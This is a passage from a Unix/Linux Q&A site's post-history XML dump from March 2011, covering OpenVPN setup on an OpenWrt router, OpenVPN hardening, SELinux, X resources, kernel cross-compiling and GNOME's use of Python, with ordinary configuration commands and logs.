modify it&#xD;&#xA;    config 'include'&#xD;&#xA;            option 'path' '/etc/firewall.user'&#xD;&#xA;&#xD;&#xA;    config 'redirect'&#xD;&#xA;            option 'src' 'wan'&#xD;&#xA;            option 'proto' 'udp'&#xD;&#xA;            option 'src_dport' '1194'&#xD;&#xA;            option 'dest_port' '1194'&#xD;&#xA;            option '_name' 'OpenVPN'&#xD;&#xA;&#xD;&#xA;    vim /etc/firewall.user # modify it&#xD;&#xA;    iptables -t nat -A prerouting_rule -i $WAN -p udp --dport 11194 -j ACCEPT&#xD;&#xA;    iptables -A input_rule -i $WAN -p udp --dport 11194 -j ACCEPT&#xD;&#xA;    iptables -A forwarding_rule -i tap+ -o br-lan -j ACCEPT&#xD;&#xA;    iptables -A forwarding_rule -i br-lan -o tap+ -j ACCEPT&#xD;&#xA;    iptables -A input_rule -i tap+ -j ACCEPT&#xD;&#xA;    iptables -A output_rule -o tap -j ACCEPT&#xD;&#xA;&#xD;&#xA;    /etc/init.d/firewall restart&#xD;&#xA;&#xD;&#xA;    # tar the files that goes to the client1&#xD;&#xA;    mkdir -p /root/client1&#xD;&#xA;    cp /etc/openvpn/ca.crt /root/client1/; cp /etc/openvpn/client1.crt /root/client1/; cp /etc/openvpn/client1.key /root/client1/; cp /etc/openvpn/ta.key /root/client1/&#xD;&#xA;    cd /root/; tar -cf client1.tar client1&#xD;&#xA;&#xD;&#xA;It seems &quot;ok&quot;.&#xD;&#xA;&#xD;&#xA;I connect my pc to the lan port of the router, and i want to try it out. I'm using Fedora 14 with GNOME. In the NetworkManager applet i set these things: &lt;a href=&quot;http://img821.imageshack.us/img821/5266/screenshotxrg.png&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://img822.imageshack.us/img822/6646/screenshot1lti.png&quot;&gt;this&lt;/a&gt;. Ok! I try to connect, but it fails. Here are the logs: https://pastebin.com/raw.php?i=gv2xChxW&#xD;&#xA;&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; Starting VPN service 'openvpn'...&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN service 'openvpn' started (org.freedesktop.NetworkManager.openvpn), PID 23552&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN service 'openvpn' appeared; activating connections&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN plugin state changed: 1&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN plugin state changed: 3&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN connection 'elsovpn' (Connect) reply received.&#xD;&#xA;    Mar  7 15:42:43 ASDF nm-openvpn[23554]: OpenVPN 2.1.1 i686-redhat-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] built on Jan  5 2010&#xD;&#xA;    Mar  7 15:42:43 ASDF nm-openvpn[23554]: WARNING: No server certificate verification method has been enabled.  See http://openvpn.net/howto.html#mitm for more info.&#xD;&#xA;    Mar  7 15:42:43 ASDF nm-openvpn[23554]: NOTE: the current --script-security setting may allow this configuration to call user-defined scripts&#xD;&#xA;    Mar  7 15:42:43 ASDF nm-openvpn[23554]: Cannot load certificate file /home/g/Desktop/client1/client1.crt: error:0200100D:system library:fopen:Permission denied: error:20074002:BIO routines:FILE_CTRL:system lib: error:140AD002:SSL routines:SSL_CTX_use_certificate_file:system lib&#xD;&#xA;    Mar  7 15:42:43 ASDF nm-openvpn[23554]: Exiting&#xD;&#xA;    Mar  7 15:42:43 ASDF kernel: [55630.235164] type=1400 audit(1299508963.340:23608): avc:  denied  { read } for  pid=23554 comm=&quot;openvpn&quot; name=&quot;client1.crt&quot; dev=dm-1 ino=3019385 scontext=system_u:system_r:openvpn_t:s0 tcontext=unconfined_u:object_r:user_home_t:s0 tclass=file&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;warn&gt; VPN plugin failed: 1&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN plugin state changed: 6&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; VPN plugin state change reason: 0&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;warn&gt; error disconnecting VPN: Could not process the request because no VPN connection was active.&#xD;&#xA;    Mar  7 15:42:43 ASDF NetworkManager[1458]: &lt;info&gt; Policy set 'Auto Ethernet' (eth0) as default for IPv4 routing and DNS.&#xD;&#xA;    Mar  7 15:42:49 ASDF NetworkManager[1458]: &lt;info&gt; VPN service 'openvpn' disappeared&#xD;&#xA;&#xD;&#xA;one important thing: my routers [the one with the openvpn server] ip address is 192.168.1.2, and i didn't had to write it nowhere. so how could the networkmanager applet know the ip address of my openvpn server? i think this is the problem, but i just can't find where to write 192.168.1.2&#xD;&#xA;&#xD;&#xA;p.s.: yes, i tried to google for: &quot;No server certificate verification method has been enabled.&quot; but i didn't find a thing, and i'm trying for hours now... :\&#xD;&#xA;&#xD;&#xA;p.s.[again..]: yes, i tried to google for: &quot;No server certificate verification method has been enabled.&quot; but i didn't find a thing, and i'm trying for hours now... :\&#xD;&#xA;&#xD;&#xA;p.s.: If I do this on the router:&#xD;&#xA;&#xD;&#xA;    iptables -P INPUT ACCEPT&#xD;&#xA;    iptables -P FORWARD ACCEPT&#xD;&#xA;    iptables -P OUTPUT ACCEPT&#xD;&#xA;    iptables -t nat -P PREROUTING ACCEPT&#xD;&#xA;    iptables -t nat -P POSTROUTING ACCEPT&#xD;&#xA;    iptables -t nat -P OUTPUT ACCEPT&#xD;&#xA;    iptables -t mangle -P PREROUTING ACCEPT&#xD;&#xA;    iptables -t mangle -P OUTPUT ACCEPT&#xD;&#xA;&#xD;&#xA;and stat tcpdump, and try to connect from my pc, nothing happens!.. so the bug is in the networkmanager applet!?&#xD;&#xA;&#xD;&#xA;again, p.s.: if I do this:&#xD;&#xA;&#xD;&#xA;    $ telnet 192.168.1.2 1197&#xD;&#xA;    Trying 192.168.1.2...&#xD;&#xA;    telnet: connect to address 192.168.1.2: Connection refused&#xD;&#xA;    $connbsp;&#xD;&#xA;&#xD;&#xA;Are there any good howtos about setting this kind of openvpn [as in the pastebin link, on an openwrt router..]? Is it worth finding another openvpn client program? [other then the networkmanager applet]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20947" PostHistoryTypeId="6" PostId="8818" RevisionGUID="35492a42-54b9-485b-a72f-f65b1aca31a1" CreationDate="2011-03-08T18:06:10.010" UserId="885" Comment="edited tags" Text="éx11àéresourcesà" />
  <row Id="20948" PostHistoryTypeId="5" PostId="8800" RevisionGUID="856970ab-3986-45be-b4bd-27b80dd90be4" CreationDate="2011-03-08T18:08:11.323" UserId="2511" Comment="added 122 characters in body" Text="So, this appears to be a [really new][1] graphics card. You'll need both an up-to-date X driver and a really recent kernel — in fact, you need the not-yet-released (as of early March 2011) 2.6.38 kernel. (See [this article for more on the upcoming kernel release][2].)&#xD;&#xA;&#xD;&#xA;The good news is that the pre-release 2.6.38 kernel is already in the tree for Fedora 15, and the Fedora 15 Alpha release is scheduled for &lt;strike&gt;_tomorrow_&lt;/strike&gt; today (March 8th, 2011). Get the release from http://torrent.fedoraproject.org/.&#xD;&#xA;&#xD;&#xA;I can't promise that that'll make the card work, but the signs look positive. I'm not sure if the needed driver code is in the F15 X.org drivers yet, but the quickest way to find out is to try it.&#xD;&#xA;&#xD;&#xA;You can even get the [Live Desktop CD][3] option, which will let you test if it works without even reinstalling.&#xD;&#xA;&#xD;&#xA;It's possible (likely even) that the required bits will make it into Fedora 14 in a few months. So just waiting is another option.&#xD;&#xA;&#xD;&#xA;(Honestly, I think _either_ of those will be a better option than the proprietary binary driver. I've had no end of trouble from that. It's faster at 3D, so if top 3D performance is your main need, it might be worth it, but for general use, eh.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fireballtech.com/tag/linux-driver-radeon-6450/&#xD;&#xA;  [2]: http://www.h-online.com/open/features/Kernel-Log-Coming-in-2-6-38-Part-1-Graphics-1176900.html&#xD;&#xA;  [3]: http://torrent.fedoraproject.org/torrents/Fedora-15-Alpha-x86_64-Live-Desktop.torrent" />
  <row Id="20949" PostHistoryTypeId="2" PostId="8847" RevisionGUID="4381e4c1-17e5-43f5-9568-75ddbb89e627" CreationDate="2011-03-08T18:23:17.290" UserId="885" Text="`xrdb -query` lists the resources that are explicitly loaded on the X server.&#xD;&#xA;&#xD;&#xA;`appres` lists the resources that an application would receive. This includes system defaults (typically found in a directories like `/usr/X11R6/lib/X11/app-defaults` or `/etc/X11/app-defaults`) as well as the resources explicitly set on the server with `xrdb`. You can restrict a particular class and instance, e.g. `appres XTerm foo` to see what resources apply to an xterm invoked with `xterm -name foo`.&#xD;&#xA;&#xD;&#xA;The X server only stores a list of settings. It cannot know whether a widget will actually make use of these settings. Invalid resource names go unnoticed because you are supposed to be able to set resources at a high level in the hierarchy, and they will only apply to the components for which they are relevant and not overridden.&#xD;&#xA;&#xD;&#xA;[X resource specs obey fairly intricate precedence rules.](http://www.x.org/archive/X11R6.8.1/doc/X.7.html#sect13) If one of your settings doesn't seem to apply, the culprit is sometimes a system default that takes precedence because it's more specific. Look at the output of `appres Class` to see if there's a system setting for *something*`.reverseVideo`. If your application is one of the few that support the Editres protocol, you can inspect its resource tree with the `editres` program.&#xD;&#xA;" />
  <row Id="20950" PostHistoryTypeId="2" PostId="8848" RevisionGUID="56c7beef-77bb-4e7e-9a03-1832d5855d16" CreationDate="2011-03-08T18:37:49.720" UserId="4477" Text="OpenVPN is designed to be secure. It will only allow clients who have the keys signed by you. The most important thing is keeping the private keys secure. Always encrypt them on the clients and check the permissions on the key file on the server. Don't keep the CA keys on the server it doesn't need them. Encrypt it put it on a pendrive and protect it.&#xD;&#xA;&#xD;&#xA;Port scanners will have no trouble finding the server on any port but they won't be able to use it. If you know that you will only use it from a limited set of IP addresses then by all means disable everything else with iptables. However most people tend to use it from varying locations for example with a laptop. You could automatically ban IPs that try invalid keys but bruteforcing RSA keys like this is infeasible anyway.&#xD;&#xA;&#xD;&#xA;If the keys are safe then the biggest risk is some bug in the OpenVPN implementation which makes it vulnerable to attacks. If that happens an attacker can run arbitrary code with the privileges of the OpenVPN server process. You can  decrease the effect of this kind of attack by not running the server as root. Add this to your server config:&#xD;&#xA;&#xD;&#xA;    user nobody&#xD;&#xA;    group nobody&#xD;&#xA;&#xD;&#xA;Your config file seems to use a different syntax then mine but something like this should be supported. You can try the grsecurity patch for the kernel but I'm not sure it works on embedded systems and it would be really bad if you made it unbootable by accident. It makes arbitrary code execution bugs harder to exploit.&#xD;&#xA;&#xD;&#xA;You can also increase key sizes. 1024 bit keys may become breakable in the near future if not already. Be sure not to generate them with Debian's OpenSSL. :)&#xD;&#xA;&#xD;&#xA;It's my personal opinion that MAC address filtering is absolutely useless. It's easy to fake and valid ones can be found easily. Use WPA2 CCMP with a 63 byte long random key and you should be OK. Don't let people plug in random cables.&#xD;&#xA;&#xD;&#xA;I know there are not much resources available in routers but you can try logging. I'm almost sure there won't be enough space on the router so log to an other host. Syslog-ng can do this easily I don't know how easy it is to install it on a router." />
  <row Id="20951" PostHistoryTypeId="5" PostId="8794" RevisionGUID="f3d6fdb4-b204-4c82-83d0-c30be9386296" CreationDate="2011-03-08T18:43:16.877" UserId="885" Comment="deleted 28 characters in body; edited title; edited tags; edited tags; edited tags" Text="I can add a new MIME type in shared MIME-info, but how can I associates this MIME type with an application?&#xD;&#xA;" />
  <row Id="20952" PostHistoryTypeId="4" PostId="8794" RevisionGUID="f3d6fdb4-b204-4c82-83d0-c30be9386296" CreationDate="2011-03-08T18:43:16.877" UserId="885" Comment="deleted 28 characters in body; edited title; edited tags; edited tags; edited tags" Text="Can shared-mime-info associate a MIME type to a desktop applications?" />
  <row Id="20953" PostHistoryTypeId="6" PostId="8794" RevisionGUID="f3d6fdb4-b204-4c82-83d0-c30be9386296" CreationDate="2011-03-08T18:43:16.877" UserId="885" Comment="deleted 28 characters in body; edited title; edited tags; edited tags; edited tags" Text="émimeötypesàéfreedesktopà" />
  <row Id="20954" PostHistoryTypeId="5" PostId="8822" RevisionGUID="b3b85019-7127-4e87-9dd5-f24baf32c126" CreationDate="2011-03-08T18:43:57.280" UserId="688" Comment="added 559 characters in body; added 63 characters in body" Text="Say I have this line in &quot;**/etc/fstab**&quot;:&#xD;&#xA;&#xD;&#xA;    /iso/apt.iso /mnt/apt iso9660 loop 0 0&#xD;&#xA;&#xD;&#xA;And I run these commands [as root][1]:&#xD;&#xA;&#xD;&#xA;    mount --all&#xD;&#xA;    apt-cdrom add --no-mount --cdrom /mnt/apt&#xD;&#xA;&#xD;&#xA;I expected the disk to be added as APT source, but nothing happens. What's missing?&#xD;&#xA;&#xD;&#xA;**UPDATE**:&#xD;&#xA;&#xD;&#xA;I followed [this advice][2] and now I'm getting this:&#xD;&#xA;&#xD;&#xA;    Using CD-ROM mount point /media/cdrom/&#xD;&#xA;    Identifying.. [61c5dd7c11a32dc999e655c235cd698e-2]&#xD;&#xA;    Scanning disc for index files..&#xD;&#xA;    Found 0 package indexes, 0 source indexes, 0 translation indexes and 0 signatures&#xD;&#xA;    W: Failed to mount '/dev/sr0' to '/media/cdrom/'&#xD;&#xA;    E: Unable to locate any package files, perhaps this is not a Debian Disc or the wrong architecture?&#xD;&#xA;&#xD;&#xA;This happens with or without &quot;**/etc/apt/apt.conf**&quot; changes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/3063/688&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/8822/how-to-add-an-iso-file-as-apt-source/8844#8844" />
  <row Id="20955" PostHistoryTypeId="5" PostId="8793" RevisionGUID="68176c48-fcb0-4122-88b5-c74cea4dab08" CreationDate="2011-03-08T18:47:24.750" UserId="885" Comment="deleted 24 characters in body; edited tags; edited tags" Text="Is there a linux API that can find the default application for a MIME type? Then I can use this application to open a file.&#xD;&#xA;&#xD;&#xA;I can not use xdg-open(url) because the file format is a wrapper format and shared mime-type can only tell the wrapper MIME type. The embedded mime type can only be got from the wrapper file header.&#xD;&#xA;&#xD;&#xA;The process would be like: 1. find embedded mime type 2. mime-open(embedded mime type, url)&#xD;&#xA;&#xD;&#xA;Is it possible?&#xD;&#xA;" />
  <row Id="20956" PostHistoryTypeId="6" PostId="8793" RevisionGUID="68176c48-fcb0-4122-88b5-c74cea4dab08" CreationDate="2011-03-08T18:47:24.750" UserId="885" Comment="deleted 24 characters in body; edited tags; edited tags" Text="émimeötypesàéfreedesktopà" />
  <row Id="20957" PostHistoryTypeId="2" PostId="8849" RevisionGUID="0e4e61aa-cf1f-4d32-904c-fa033ccdfc5a" CreationDate="2011-03-08T18:49:37.393" UserId="2897" Text="Is Python present in the Gnome code base? If so, how Python is involved?&#xD;&#xA;&#xD;&#xA;**Note**&#xD;&#xA;&#xD;&#xA;My question concerns the core Gnome Desktop Environment only, no &quot;Satellite&quot; and non-core applications.&#xD;&#xA;&#xD;&#xA;Thanks. " />
  <row Id="20958" PostHistoryTypeId="1" PostId="8849" RevisionGUID="0e4e61aa-cf1f-4d32-904c-fa033ccdfc5a" CreationDate="2011-03-08T18:49:37.393" UserId="2897" Text="Python in Gnome code base" />
  <row Id="20959" PostHistoryTypeId="3" PostId="8849" RevisionGUID="0e4e61aa-cf1f-4d32-904c-fa033ccdfc5a" CreationDate="2011-03-08T18:49:37.393" UserId="2897" Text="égnomeàépythonàédevelopmentà" />
  <row Id="20960" PostHistoryTypeId="6" PostId="8760" RevisionGUID="323f3ce5-d5fd-499f-8bd7-da759459ef62" CreationDate="2011-03-08T18:51:42.887" UserId="885" Comment="edited tags" Text="étextöprocessingàépagerà" />
  <row Id="20961" PostHistoryTypeId="2" PostId="8850" RevisionGUID="11b73110-d4a7-4bc4-8e52-f5b3b5084b78" CreationDate="2011-03-08T18:52:06.023" UserId="3309" Text="Maybe something like this?&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    # This gets all the packages&#xD;&#xA;    for i in $(dpkg -l \* | awk '/^[a-z]/ {print $2}')&#xD;&#xA;    do&#xD;&#xA;      apt-get source $i&#xD;&#xA;      apt-get build-dep -y $i&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    # This finds all buildable directories&#xD;&#xA;    for i in $(find . -name debian -type d | sed s/debian.*//g)&#xD;&#xA;    do&#xD;&#xA;      cd $i&#xD;&#xA;      debian/rules binary&#xD;&#xA;      cd -&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;I know you said that you have the packages already, but I'm not sure what format they are in. If you already have all the packages properly unpacked in your `cwd` then apt will skip that package and move onto the next one. You can also pass `-s` to apt-get to test the commands.&#xD;&#xA;&#xD;&#xA;Almost all packages should build in one shot like this, if you're using the same release that you're trying to build.&#xD;&#xA;&#xD;&#xA;You will need lots of storage, and lots of time." />
  <row Id="20962" PostHistoryTypeId="2" PostId="8851" RevisionGUID="93af1cf1-cd73-4585-95c9-3fcc5db8c6bd" CreationDate="2011-03-08T19:19:24.523" UserId="885" Text="If your listing is for human consumption, use `ls` with one of the date sorting flags (`-tu` for access (read) time, just `-t` for modification (write) time or `-tc` for inode change time). See [mattdm's answer](http://unix.stackexchange.com/questions/8840/last-time-file-opened/8842#8842) for more information (in particular the caveat regarding `-a` and the definition of `-c`).&#xD;&#xA;&#xD;&#xA;If this is for program consumption, [parsing the output of `ls` is problematic](http://mywiki.wooledge.org/ParsingLs). If your shell is zsh, you don't need `ls` anyway: zsh has globbing qualifiers to sort the matches by increasing access (`*(Oa)`), inode change (`*(Oc)`) or modification (`*(Om)`) time. A lowercase `o` sorts by increasing age.&#xD;&#xA;&#xD;&#xA;    act_on_files_by_date *(Om)&#xD;&#xA;&#xD;&#xA;Otherwise, if you know that the file names don't contain any newline or non-printable characters (in the current locale), then you can do something like&#xD;&#xA;&#xD;&#xA;    ls -t | while read -r name; do act_on_one_file &quot;$name&quot;; done&#xD;&#xA;    ls -t | xargs -I {} act_on_one_file {}&#xD;&#xA;&#xD;&#xA;If you want to invoke a command on many files at once, you need more setup. Note that `act_on_files_by_date $(ls -t)` doesn't work just like this, as filenames containing wildcard characters or whitespace would be expanded in the result of the command substitution. The following code works as long as no filename contains a newline or a non-printable character:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;    set -f&#xD;&#xA;    act_on_files_by_date $(ls -t)&#xD;&#xA;    set +f&#xD;&#xA;    unset IFS&#xD;&#xA;&#xD;&#xA;If you want to cope with arbitrary file names, you'll have a very hard time without resorting to more powerful tools than a standard shell: zsh, perl, python…&#xD;&#xA;" />
  <row Id="20963" PostHistoryTypeId="2" PostId="8852" RevisionGUID="ff8698d6-0ae0-4843-a508-f1f9c3cf9614" CreationDate="2011-03-08T19:23:07.030" UserId="2343" Text="Yes, I know it sounds odd. Sequential and Binary-splits don't mix.. That is unless the sequence is the byte offset within the file itself...  &#xD;&#xA;&#xD;&#xA;I've scrambled together a binary split search in bash script, using `dd`. It has Search-and-Find times of 3-9 seconds for an 8 GB file.. so it works (but slower than I know it can be)...  I'd really prefer to not have to polish this wheel; It just took my fancy to do it as an exercise in bash (having a project is the best way to learn a language, etc).  I think this would be pretty straight forward in C/++, etc... I'm curious to see some other examples (particularly bash ones." />
  <row Id="20964" PostHistoryTypeId="1" PostId="8852" RevisionGUID="ff8698d6-0ae0-4843-a508-f1f9c3cf9614" CreationDate="2011-03-08T19:23:07.030" UserId="2343" Text="Is there a search utility which can binary split search a large sorted (sequential) text file?" />
  <row Id="20965" PostHistoryTypeId="3" PostId="8852" RevisionGUID="ff8698d6-0ae0-4843-a508-f1f9c3cf9614" CreationDate="2011-03-08T19:23:07.030" UserId="2343" Text="ébashàétextöprocessingàésearchàésortà" />
  <row Id="20966" PostHistoryTypeId="5" PostId="8848" RevisionGUID="2bb1439e-19b9-4439-8c99-c94cdd44ce10" CreationDate="2011-03-08T19:24:43.410" UserId="4477" Comment="openvpn does need the CA public key" Text="OpenVPN is designed to be secure. It will only allow clients who have the keys signed by you. The most important thing is keeping the private keys secure. Always encrypt them on the clients and check the permissions on the key file on the server. Don't keep the CA private keys on the server it doesn't need them. Encrypt it put it on a pendrive and protect it.&#xD;&#xA;&#xD;&#xA;Port scanners will have no trouble finding the server on any port but they won't be able to use it. If you know that you will only use it from a limited set of IP addresses then by all means disable everything else with iptables. However most people tend to use it from varying locations for example with a laptop. You could automatically ban IPs that try invalid keys but bruteforcing RSA keys like this is infeasible anyway.&#xD;&#xA;&#xD;&#xA;If the keys are safe then the biggest risk is some bug in the OpenVPN implementation which makes it vulnerable to attacks. If that happens an attacker can run arbitrary code with the privileges of the OpenVPN server process. You can  decrease the effect of this kind of attack by not running the server as root. Add this to your server config:&#xD;&#xA;&#xD;&#xA;    user nobody&#xD;&#xA;    group nobody&#xD;&#xA;&#xD;&#xA;Your config file seems to use a different syntax then mine but something like this should be supported. You can try the grsecurity patch for the kernel but I'm not sure it works on embedded systems and it would be really bad if you made it unbootable by accident. It makes arbitrary code execution bugs harder to exploit.&#xD;&#xA;&#xD;&#xA;You can also increase key sizes. 1024 bit keys may become breakable in the near future if not already. Be sure not to generate them with Debian's OpenSSL. :)&#xD;&#xA;&#xD;&#xA;It's my personal opinion that MAC address filtering is absolutely useless. It's easy to fake and valid ones can be found easily. Use WPA2 CCMP with a 63 byte long random key and you should be OK. Don't let people plug in random cables.&#xD;&#xA;&#xD;&#xA;I know there are not much resources available in routers but you can try logging. I'm almost sure there won't be enough space on the router so log to an other host. Syslog-ng can do this easily I don't know how easy it is to install it on a router." />
  <row Id="20967" PostHistoryTypeId="2" PostId="8853" RevisionGUID="b4bf2205-336d-4cf8-b1d2-13ee71dc049a" CreationDate="2011-03-08T19:31:35.053" UserId="885" Text="All the basic text processing utilities are meant to act as filters, and most are meant to process their input as a stream (i.e. read a little input, process it, write the corresponding output, repeat). `dd` is a little unusual, both by its syntax and by the options it offers. `dd` is the only shell interface to [`lseek`](http://pubs.opengroup.org/onlinepubs/009695399/functions/lseek.html), and as you've noticed it's clumsy. When you reach this point, it's time to switch to a more powerful scripting language such as Perl or Python.&#xD;&#xA;" />
  <row Id="20968" PostHistoryTypeId="2" PostId="8854" RevisionGUID="495c22d2-c9c8-49db-a109-e99b4e1cf815" CreationDate="2011-03-08T19:40:12.010" UserId="5515" Text="I'm migrating to a new webserver which has SELinux set up (running Centos 5.5). I've got it set up so that it can execute CGI scripts with no problem, but some of the older Perl based scripts are failing to connect to remote webservices (RSS feeds and the like).&#xD;&#xA;&#xD;&#xA;Running: `grep perl /var/log/audit/audit.log` gives:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;type=SYSCALL msg=audit(1299612513.302:7650): arch=40000003 syscall=102 success=no exit=-13 a0=3 a1=bfb3eb90 a2=57c86c a3=10 items=0 ppid=22342 pid=22558 auid=0 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=235 comm=&quot;index.cgi&quot; exe=&quot;/usr/bin/perl&quot; subj=root:system_r:httpd_sys_script_t:s0 key=(null)&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;As my crash course in SELinux goes, it looks like it is actively refusing the outbound connection, but how do I configure it to allow for CGI scripts to make outbound requests?" />
  <row Id="20969" PostHistoryTypeId="1" PostId="8854" RevisionGUID="495c22d2-c9c8-49db-a109-e99b4e1cf815" CreationDate="2011-03-08T19:40:12.010" UserId="5515" Text="How do I configure SELinux to allow outbound connections from a CGI script?" />
  <row Id="20970" PostHistoryTypeId="3" PostId="8854" RevisionGUID="495c22d2-c9c8-49db-a109-e99b4e1cf815" CreationDate="2011-03-08T19:40:12.010" UserId="5515" Text="écentosàéselinuxà" />
  <row Id="20971" PostHistoryTypeId="2" PostId="8855" RevisionGUID="54192bf4-946e-4ed4-9161-59cafd1cadf0" CreationDate="2011-03-08T19:45:03.243" UserId="1974" Text="My laptop, an HP pavilion with an nVidia card, has some issues with suspending. Namely [firewire breaks](http://unix.stackexchange.com/questions/5635/suspending-my-laptop-breaks-ethernet-over-firewire-are-there-commands-which-can) on suspend and the nvidia drivers cause Xorg to hang on resume. I'd like to compile my own kernel to build firewire in instead of as a loadable module, and disable `agpart` to see if these changes fix these issues...&#xD;&#xA;&#xD;&#xA;However, my laptop isn't the fastest nor does it have a ton of RAM, and its fans are on their last legs. I'd like to configure the kernel build on the laptop buy  compile the kernel on our in-house VMware server which has a lot more horsepower. Both the laptop and the server have Ubuntu on them (Ubuntu desktop on the laptop, Ubuntu... *wait for it*... Server on the Server. Bet you never would have guessed that!)&#xD;&#xA;&#xD;&#xA;How can I use one linux system to compile a kernel for the architecture of a different linux system? " />
  <row Id="20972" PostHistoryTypeId="1" PostId="8855" RevisionGUID="54192bf4-946e-4ed4-9161-59cafd1cadf0" CreationDate="2011-03-08T19:45:03.243" UserId="1974" Text="How can I use my server to compile a kernel for my laptop?" />
  <row Id="20973" PostHistoryTypeId="3" PostId="8855" RevisionGUID="54192bf4-946e-4ed4-9161-59cafd1cadf0" CreationDate="2011-03-08T19:45:03.243" UserId="1974" Text="éubuntuàékernelàécompilingàécrossöcompilationà" />
  <row Id="20974" PostHistoryTypeId="2" PostId="8856" RevisionGUID="4df4409d-9236-4c87-a672-867c8b5cfca9" CreationDate="2011-03-08T19:53:54.590" UserId="3976" Text="You probably need to enable the [httpd_can_network_connect][1] SELinux boolean:&#xD;&#xA;&#xD;&#xA;Run as root:&#xD;&#xA;&#xD;&#xA;    # setsebool -P httpd_can_network_connect 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.centos.org/TipsAndTricks/SelinuxBooleans#line-44" />
  <row Id="20975" PostHistoryTypeId="2" PostId="8857" RevisionGUID="fcb1d9d7-7b82-4ac1-a17f-7fdd15195eea" CreationDate="2011-03-08T20:05:36.903" UserId="688" Text="Currently there are 3 modulesets for GNOME 3:&#xD;&#xA;&#xD;&#xA;1. GNOME Core dependencies (e.g GLib, GTK+, D-Bus); In a sense, this can can be called GNOME platform.&#xD;&#xA;1. GNOME Core (e.g. Nautilus, gnome-power-manager, gnome-session)&#xD;&#xA;1. [GNOME Featured Apps][1] (e.g. Anjuta, Evolution, gedit)&#xD;&#xA;&#xD;&#xA;Here's modules that depend on Python, directly or not:&#xD;&#xA;&#xD;&#xA;* [EOG][2], the image viewer is part of GNOME Core. For GNOME 2, there is gnome-panel and gnome-applets, both which are to be replaced by 'shinier' GNOME 3 tech.&#xD;&#xA;* dbus-python, which provides a Python interface to D-Bus, is part of GNOME Platform.&#xD;&#xA;* There's a number of modules in GNOME Featured Apps, which not only depend on Python, but also PyGTK.&#xD;&#xA;&#xD;&#xA;I'm likely missing some more. But the point is that GNOME sees heavy usage of Python. I think it's the second most used language after C for the above modulesets. Either Vala or C# is third, not sure. Maybe I must fire up [sloccount][3] on my checkouts :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://live.gnome.org/TwoPointNinetyone/FeaturedApps&#xD;&#xA;  [2]: http://projects.gnome.org/eog/&#xD;&#xA;  [3]: http://www.dwheeler.com/sloccount/" />
  <row Id="20976" PostHistoryTypeId="2" PostId="8858" RevisionGUID="3a649ad8-a1a0-4dbb-91a9-cf14d3bbffae" CreationDate="2011-03-08T20:05:47.370" UserId="2511" Text="The generic approach here is that you want to build a kernel _package_ which you can install. After all, the kernel you're running on your laptop now was built on some server somewhere.&#xD;&#xA;&#xD;&#xA;For Fedora or other Red Hat based distributions, you'd simply download the kernel source rpm (`yum-downloadonly --source kernel`), unpack that, modify the config to meet your needs, and rebuild under `mock` with the appropriate parameters for the target system.&#xD;&#xA;&#xD;&#xA;For Ubuntu, the actual actions taken are different but the steps is similar. I haven't ever done this myself, but there's a detailed help document on this here https://help.ubuntu.com/community/Kernel/Compile, and in summary:&#xD;&#xA;&#xD;&#xA;1. Download the kernel source package with `sudo apt-get install linux-source`&#xD;&#xA;1. Make your modifications to the config&#xD;&#xA;1. Build using `fakeroot` and the `debian/rules` script that's part of the package&#xD;&#xA;1. Take the resulting `.deb` files and there you go.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20977" PostHistoryTypeId="2" PostId="8859" RevisionGUID="a809326e-dd09-4bf5-8dab-4bec91b15ff8" CreationDate="2011-03-08T20:10:35.417" UserId="5039" Text="I am on a Ubuntu (I think) system, I DON'T have root, so I can't change the locale. I want to make my default terminal profile use UTF-8 by default. There should be a way to do this, either in the .gconf/apps/gnome-terminal/ directory somewhere, or in a environment variable, or something. However, I can't seem to find it.&#xD;&#xA;&#xD;&#xA;thanks." />
  <row Id="20978" PostHistoryTypeId="1" PostId="8859" RevisionGUID="a809326e-dd09-4bf5-8dab-4bec91b15ff8" CreationDate="2011-03-08T20:10:35.417" UserId="5039" Text="can a Gnome Terminal profile use UTF-8 by default?" />
  <row Id="20979" PostHistoryTypeId="3" PostId="8859" RevisionGUID="a809326e-dd09-4bf5-8dab-4bec91b15ff8" CreationDate="2011-03-08T20:10:35.417" UserId="5039" Text="égnomeàéterminalàéutf8à" />
